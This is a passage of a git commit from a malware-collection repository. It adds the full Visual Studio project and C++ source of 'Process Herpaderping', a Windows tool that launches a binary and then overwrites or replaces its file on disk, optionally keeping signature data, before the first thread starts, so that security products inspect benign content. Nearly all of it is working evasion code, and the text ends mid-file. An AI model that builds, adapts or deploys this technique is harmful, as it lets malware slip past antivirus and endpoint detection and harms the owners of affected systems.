updates and moves

n/a
This commit is contained in:
vxunderground
2022-04-11 20:00:13 -05:00
parent 1275ea2e03
commit 900263ea6f
809 changed files with 149115 additions and 1594 deletions
@@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="herpaderp.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="utils.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="herpaderp.hpp" />
<ClInclude Include="pch.hpp" />
<ClInclude Include="res\resource.h" />
<ClInclude Include="res\version.h" />
<ClInclude Include="utils.hpp" />
</ItemGroup>
<ItemGroup>
<Image Include="res\Icon.ico" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="res\resource.rc" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>ProcessHerpaderping</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
<RunCodeAnalysis>true</RunCodeAnalysis>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
<RunCodeAnalysis>true</RunCodeAnalysis>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
<RunCodeAnalysis>true</RunCodeAnalysis>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
<RunCodeAnalysis>true</RunCodeAnalysis>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Create</PrecompiledHeader>
<WarningLevel>Level4</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<TreatWarningAsError>true</TreatWarningAsError>
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
<SupportJustMyCode>false</SupportJustMyCode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Create</PrecompiledHeader>
<WarningLevel>Level4</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<TreatWarningAsError>true</TreatWarningAsError>
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
<SupportJustMyCode>false</SupportJustMyCode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>Create</PrecompiledHeader>
<WarningLevel>Level4</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<TreatWarningAsError>true</TreatWarningAsError>
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>Create</PrecompiledHeader>
<WarningLevel>Level4</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<TreatWarningAsError>true</TreatWarningAsError>
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,34 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="herpaderp.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="utils.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="herpaderp.hpp" />
<ClInclude Include="pch.hpp" />
<ClInclude Include="utils.hpp" />
<ClInclude Include="res\resource.h">
<Filter>res</Filter>
</ClInclude>
<ClInclude Include="res\version.h">
<Filter>res</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="res">
<UniqueIdentifier>{c0d5b2bf-b92e-4174-b0c8-967949174b21}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="res\resource.rc">
<Filter>res</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<Image Include="res\Icon.ico">
<Filter>res</Filter>
</Image>
</ItemGroup>
</Project>
@@ -0,0 +1,436 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/herpaderp.cpp
// Author: Johnny Shaw
// Abstract: Herpaderping Functionality
//
#include "pch.hpp"
#include "herpaderp.hpp"
#include "utils.hpp"
_Use_decl_annotations_
HRESULT Herpaderp::ExecuteProcess(
const std::wstring& SourceFileName,
const std::wstring& TargetFileName,
const std::optional<std::wstring>& ReplaceWithFileName,
std::span<const uint8_t> Pattern,
uint32_t Flags)
{
if (FlagOn(Flags, FlagHoldHandleExclusive) &&
FlagOn(Flags, FlagCloseFileEarly))
{
//
// Incompatible flags.
//
return E_INVALIDARG;
}
if (FlagOn(Flags, FlagWaitForProcess) &&
FlagOn(Flags, FlagKillSpawnedProcess))
{
//
// Incompatible flags.
//
return E_INVALIDARG;
}
wil::unique_handle processHandle;
//
// If something goes wrong, we'll terminate the process.
//
auto terminateProcess = wil::scope_exit([&processHandle]() -> void
{
if (processHandle.is_valid())
{
TerminateProcess(processHandle.get(), 0);
}
});
Utils::Log(Log::Success, L"Source File: \"%ls\"", SourceFileName.c_str());
Utils::Log(Log::Success, L"Target File: \"%ls\"", TargetFileName.c_str());
//
// Open the source binary and the target file we will execute it from.
//
wil::unique_handle sourceHandle;
sourceHandle.reset(CreateFileW(SourceFileName.c_str(),
GENERIC_READ,
FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if (!sourceHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to open source file"));
}
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
if (FlagOn(Flags, FlagHoldHandleExclusive))
{
Utils::Log(Log::Information,
L"Creating target file with exclusive access");
shareMode = 0;
}
wil::unique_handle targetHandle;
targetHandle.reset(CreateFileW(TargetFileName.c_str(),
GENERIC_READ | GENERIC_WRITE,
shareMode,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if(!targetHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to create target file"));
}
//
// Copy the content of the source process to the target.
//
HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),
targetHandle.get());
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to copy source binary to target file");
RETURN_HR(hr);
}
Utils::Log(Log::Information, L"Copied source binary to target file");
//
// We're done with the source binary.
//
sourceHandle.reset();
//
// Map and create the target process. We'll make it all derpy in a moment...
//
wil::unique_handle sectionHandle;
auto status = NtCreateSection(&sectionHandle,
SECTION_ALL_ACCESS,
nullptr,
nullptr,
PAGE_READONLY,
SEC_IMAGE,
targetHandle.get());
if (!NT_SUCCESS(status))
{
sectionHandle.release();
RETURN_NTSTATUS(Utils::Log(
Log::Error,
status,
L"Failed to create target file image section"));
}
Utils::Log(Log::Information, L"Created image section for target");
status = NtCreateProcessEx(&processHandle,
PROCESS_ALL_ACCESS,
nullptr,
NtCurrentProcess(),
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
sectionHandle.get(),
nullptr,
nullptr,
0);
if (!NT_SUCCESS(status))
{
processHandle.release();
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to create process"));
}
Utils::Log(Log::Information,
L"Created process object, PID %lu",
GetProcessId(processHandle.get()));
//
// Alright we have the process set up, we don't need the section.
//
sectionHandle.reset();
//
// Go get the remote entry RVA to create a thread later on.
//
uint32_t imageEntryPointRva;
hr = Utils::GetImageEntryPointRva(targetHandle.get(),
imageEntryPointRva);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to get target file image entry RVA");
RETURN_HR(hr);
}
Utils::Log(Log::Information,
L"Located target image entry RVA 0x%08x",
imageEntryPointRva);
//
// Alright, depending on the parameter passed in. We will either:
// A. Overwrite the target binary with another.
// B. Overwrite the target binary with a pattern.
//
if (ReplaceWithFileName.has_value())
{
//
// (A) We are overwriting the binary with another file.
//
Utils::Log(Log::Success,
L"Replacing target with \"%ls\"",
ReplaceWithFileName->c_str());
wil::unique_handle replaceWithHandle;
replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),
GENERIC_READ,
FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if (!replaceWithHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(
Log::Error,
GetLastError(),
L"Failed to open replace with file"));
}
//
// Replace the bytes. We handle a failure here. We'll fix it up after.
//
hr = Utils::CopyFileByHandle(replaceWithHandle.get(),
targetHandle.get(),
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
{
Utils::Log(Log::Error,
hr,
L"Failed to replace target file");
RETURN_HR(hr);
}
//
// This error occurs when trying to truncate a file that has a
// user mapping open. In other words, the file we tried to replace
// with was smaller than the original.
// Let's fix up the replacement to hide the original bytes and
// retain any signer info.
//
Utils::Log(Log::Information,
L"Fixing up target replacement, "
L"hiding original bytes and retaining any signature");
uint64_t replaceWithSize;
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to get replace with file size");
RETURN_HR(hr);
}
uint32_t bytesWritten = 0;
hr = Utils::OverwriteFileAfterWithPattern(
targetHandle.get(),
replaceWithSize,
Pattern,
bytesWritten,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Warning,
hr,
L"Failed to hide original file bytes");
}
else
{
hr = Utils::ExtendFileSecurityDirectory(
targetHandle.get(),
bytesWritten,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Warning,
hr,
L"Failed to retain file signature");
}
}
}
}
else
{
//
// (B) Just overwrite the target binary with a pattern.
//
Utils::Log(Log::Success, L"Overwriting target with pattern");
hr = Utils::OverwriteFileContentsWithPattern(
targetHandle.get(),
Pattern,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to write pattern over file");
RETURN_HR(hr);
}
}
//
// Alright, at this point the process is going to be derpy enough.
// Do the work necessary to make it execute.
//
Utils::Log(Log::Success, L"Preparing target for execution");
PROCESS_BASIC_INFORMATION pbi{};
status = NtQueryInformationProcess(processHandle.get(),
ProcessBasicInformation,
&pbi,
sizeof(pbi),
nullptr);
if (!NT_SUCCESS(status))
{
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to query new process info"));
}
PEB peb{};
if (!ReadProcessMemory(processHandle.get(),
pbi.PebBaseAddress,
&peb,
sizeof(peb),
nullptr))
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to read remote process PEB"));
}
Utils::Log(Log::Information,
L"Writing process parameters, remote PEB ProcessParameters 0x%p",
Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));
hr = Utils::WriteRemoteProcessParameters(
processHandle.get(),
TargetFileName,
std::nullopt,
std::nullopt,
(L"\"" + TargetFileName + L"\""),
NtCurrentPeb()->ProcessParameters->Environment,
TargetFileName,
L"WinSta0\\Default",
std::nullopt,
std::nullopt);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to write remote process parameters");
RETURN_HR(hr);
}
if (FlagOn(Flags, FlagCloseFileEarly))
{
//
// Caller wants to close the file early, before the notification
// callback in the kernel would fire, do so.
//
targetHandle.reset();
}
//
// Create the initial thread, when this first thread is inserted the
// process create callback will fire in the kernel.
//
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
Utils::Log(Log::Information,
L"Creating thread in process at entry point 0x%p",
remoteEntryPoint);
wil::unique_handle threadHandle;
status = NtCreateThreadEx(&threadHandle,
THREAD_ALL_ACCESS,
nullptr,
processHandle.get(),
remoteEntryPoint,
nullptr,
0,
0,
0,
0,
nullptr);
if (!NT_SUCCESS(status))
{
threadHandle.release();
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to create remote thread"));
}
Utils::Log(Log::Information,
L"Created thread, TID %lu",
GetThreadId(threadHandle.get()));
if (!FlagOn(Flags, FlagKillSpawnedProcess))
{
//
// Process was executed successfully. Do not terminate.
//
terminateProcess.release();
}
if (!FlagOn(Flags, FlagHoldHandleExclusive))
{
//
// We're done with the target file handle. At this point the process
// create callback will have fired in the kernel.
//
targetHandle.reset();
}
if (FlagOn(Flags, FlagWaitForProcess))
{
//
// Wait for the process to exit.
//
Utils::Log(Log::Success, L"Waiting for herpaderped process to exit");
WaitForSingleObject(processHandle.get(), INFINITE);
DWORD targetExitCode = 0;
GetExitCodeProcess(processHandle.get(), &targetExitCode);
Utils::Log(Log::Success,
L"Herpaderped process exited with code 0x%08x",
targetExitCode);
}
else
{
Utils::Log(Log::Success, L"Successfully spawned herpaderped process");
}
return S_OK;
}
@@ -0,0 +1,73 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/herpaderp.hpp
// Author: Johnny Shaw
// Abstract: Herpaderping Functionality
//
#pragma once
namespace Herpaderp
{
#pragma warning(push)
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
/// <summary>
/// Waits for process to exit before returning.
/// </summary>
constexpr static uint32_t FlagWaitForProcess = 0x00000001ul;
/// <summary>
/// Opens and hold the target file handle exclusive for as long as
/// reasonable. This flag is incompatible with FlagCloseFileEarly.
/// </summary>
constexpr static uint32_t FlagHoldHandleExclusive = 0x00000002ul;
/// <summary>
/// Flushes file buffers of target file.
/// </summary>
constexpr static uint32_t FlagFlushFile = 0x00000004ul;
/// <summary>
/// Closes the file handle early, before creating the initial thread
/// (before process notification would fire in the kernel). This flag is
/// not compatible with FlagHoldHandleExclusive.
/// </summary>
constexpr static uint32_t FlagCloseFileEarly = 0x00000008ul;
/// <summary>
/// Terminates the spawned process on success, this can be useful in some
/// automation environments. Not compatible with FlagWaitForProcess.
/// </summary>
constexpr static uint32_t FlagKillSpawnedProcess = 0x00000010ul;
#pragma warning(pop)
/// <summary>
/// Executes process herpaderping.
/// </summary>
/// <param name="SourceFileName">
/// Source binary to execute.
/// </param>
/// <param name="TargetFileName">
/// File name to copy source to and obfuscate.
/// </param>
/// <param name="ReplaceWithFileName">
/// Optional, if provided the file is replaced with the content of this
/// file. If not provided the file is overwritten with a pattern.
/// </param>
/// <param name="Pattern">
/// Pattern used for obfuscation.
/// </param>
/// <param name="Flags">
/// Flags controlling behavior of herpaderping (Herpaderp::FlagXxx).
/// </param>
/// <returns>
/// Success if the herpaderping executed. Failure otherwise.
/// </returns>
_Must_inspect_result_ HRESULT ExecuteProcess(
_In_ const std::wstring& SourceFileName,
_In_ const std::wstring& TargetFileName,
_In_opt_ const std::optional<std::wstring>& ReplaceWithFileName,
_In_ std::span<const uint8_t> Pattern,
_In_ uint32_t Flags);
}
@@ -0,0 +1,330 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/main.cpp
// Author: Johnny Shaw
// Abstract: Process Herpaderping Tool
//
#include "pch.hpp"
#include "utils.hpp"
#include "herpaderp.hpp"
namespace Constants
{
constexpr static std::wstring_view ToolHeader
{
WSTR_FILE_DESCRIPTION L" - " WSTR_COPYRIGHT
};
constexpr static std::array<uint8_t, 4> Pattern{ '\x72', '\x6f', '\x66', '\x6c' };
constexpr static size_t RandPatterLen{ 0x200 };
}
/// <summary>
/// Class for parsing and storing process herpaderping tool arguments.
/// </summary>
class Parameters : public Utils::IArgumentParser
{
public:
constexpr static std::wstring_view Usage
{
WSTR_ORIGINAL_FILENAME L" SourceFile TargetFile [ReplacedWith] [Options...]\n"
L"Usage:\n"
L" SourceFile Source file to execute.\n"
L" TargetFile Target file to execute the source from.\n"
L" ReplacedWith File to replace the target with. Optional,\n"
L" default overwrites the binary with a pattern.\n"
L" -h,--help Prints tool usage.\n"
L" -d,--do-not-wait Does not wait for spawned process to exit,\n"
L" default waits.\n"
L" -l,--logging-mask number Specifies the logging mask, defaults to full\n"
L" logging.\n"
L" 0x1 Successes\n"
L" 0x2 Informational\n"
L" 0x4 Warnings\n"
L" 0x8 Errors\n"
L" 0x10 Contextual\n"
L" -q,--quiet Runs quietly, overrides logging mask, no title.\n"
L" -r,--random-obfuscation Uses random bytes rather than a pattern for\n"
L" file obfuscation.\n"
L" -e,--exclusive Target file is created with exclusive access and\n"
L" the handle is held open as long as possible.\n"
L" Without this option the handle has full share\n"
L" access and is closed as soon as possible.\n"
L" -u,--do-not-flush-file Does not flush file after overwrite.\n"
L" -c,--close-file-early Closes file before thread creation (before the\n"
L" process notify callback fires in the kernel).\n"
L" Not valid with \"--exclusive\" option.\n"
L" -k,--kill Terminates the spawned process regardless of\n"
L" success or failure, this is useful in some\n"
L" automation environments. Forces \"--do-not-wait\n"
L" option."
};
Parameters() = default;
/// <summary>
/// Parses command line arguments and stores the data in the class.
/// </summary>
/// <param name="Argc">
/// Number of command line arguments.
/// </param>
/// <param name="Argv">
/// Command line arguments.
/// </param>
/// <returns>
/// Success if arguments were parsed successfully. Failure otherwise.
/// </returns>
_Must_inspect_result_ virtual HRESULT ParseArguments(
_In_ int Argc,
_In_reads_(Argc) const wchar_t* Argv[]) override
{
if (Argc < 3)
{
return E_INVALIDARG;
}
m_TargetBinary = Argv[1];
m_FileName = Argv[2];
for (int i = 3; i < Argc; i++)
{
std::wstring arg = Argv[i];
//
// Check for optional flags.
//
if (SUCCEEDED(Utils::MatchParameter(arg, L"l", L"logging-mask")))
{
i++;
if (i >= Argc)
{
return E_INVALIDARG;
}
try
{
m_LoggingMask = std::stoul(Argv[i], 0, 0);
}
catch (...)
{
//
// Invalid number...
//
return E_INVALIDARG;
}
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"d", L"do-not-wait")))
{
ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess);
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"q", L"quiet")))
{
m_Quiet = true;
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"r", L"random-obfuscation")))
{
m_RandomObfuscation = true;
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"e", L"exclusive")))
{
SetFlag(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive);
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"u", L"do-not-flush-file")))
{
ClearFlag(m_HerpaderpFlags, Herpaderp::FlagFlushFile);
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"c", L"close-file-early")))
{
SetFlag(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly);
continue;
}
if (SUCCEEDED(Utils::MatchParameter(arg, L"k", L"kill")))
{
SetFlag(m_HerpaderpFlags, Herpaderp::FlagKillSpawnedProcess);
ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess);
continue;
}
//
// Assume replace with target.
//
m_ReplaceWith = arg;
}
return S_OK;
}
_Must_inspect_result_ virtual HRESULT ValidateArguments() const override
{
if (FlagOn(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive) &&
FlagOn(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly))
{
//
// These options are incompatible.
//
return E_FAIL;
}
return S_OK;
}
/// <summary>Gets the tool usage string.</summary>
/// <returns>Tool usage string.</returns>
virtual std::wstring_view GetUsage() const override
{
return Usage;
}
/// <summary>Gets the target binary string.</summary>
/// <returns>Target binary string.</returns>
const std::wstring& TargetBinary() const
{
return m_TargetBinary;
}
/// <summary>Gets the file name string.</summary>
/// <returns>File name string.</returns>
const std::wstring& FileName() const
{
return m_FileName;
}
/// <summary>Gets the replace with string.</summary>
/// <returns>Replace with string.</returns>
const std::optional<std::wstring>& ReplaceWith() const
{
return m_ReplaceWith;
}
/// <summary>Gets the logging bit mask.</summary>
/// <returns>Logging bit mask.</returns>
uint32_t LoggingMask() const
{
return m_LoggingMask;
}
/// <summary>Gets the quiet boolean.</summary>
/// <returns>Quiet boolean.</returns>
bool Quiet() const
{
return m_Quiet;
}
/// <summary>Gets the random obfuscation boolean.</summary>
/// <returns>Random obfuscation boolean.</returns>
bool RandomObfuscation() const
{
return m_RandomObfuscation;
}
/// <summary>Gets herpaderp flags.</summary>
/// <returns>Herpaderp flags.</returns>
uint32_t HerpaderpFlags() const
{
return m_HerpaderpFlags;
}
private:
std::wstring m_TargetBinary;
std::wstring m_FileName;
std::optional<std::wstring> m_ReplaceWith{ std::nullopt };
uint32_t m_LoggingMask
{
Log::Success |
Log::Information |
Log::Warning |
Log::Error |
Log::Context
};
bool m_Quiet{ false };
bool m_RandomObfuscation{ false };
uint32_t m_HerpaderpFlags
{
Herpaderp::FlagWaitForProcess |
Herpaderp::FlagFlushFile
};
};
/// <summary>
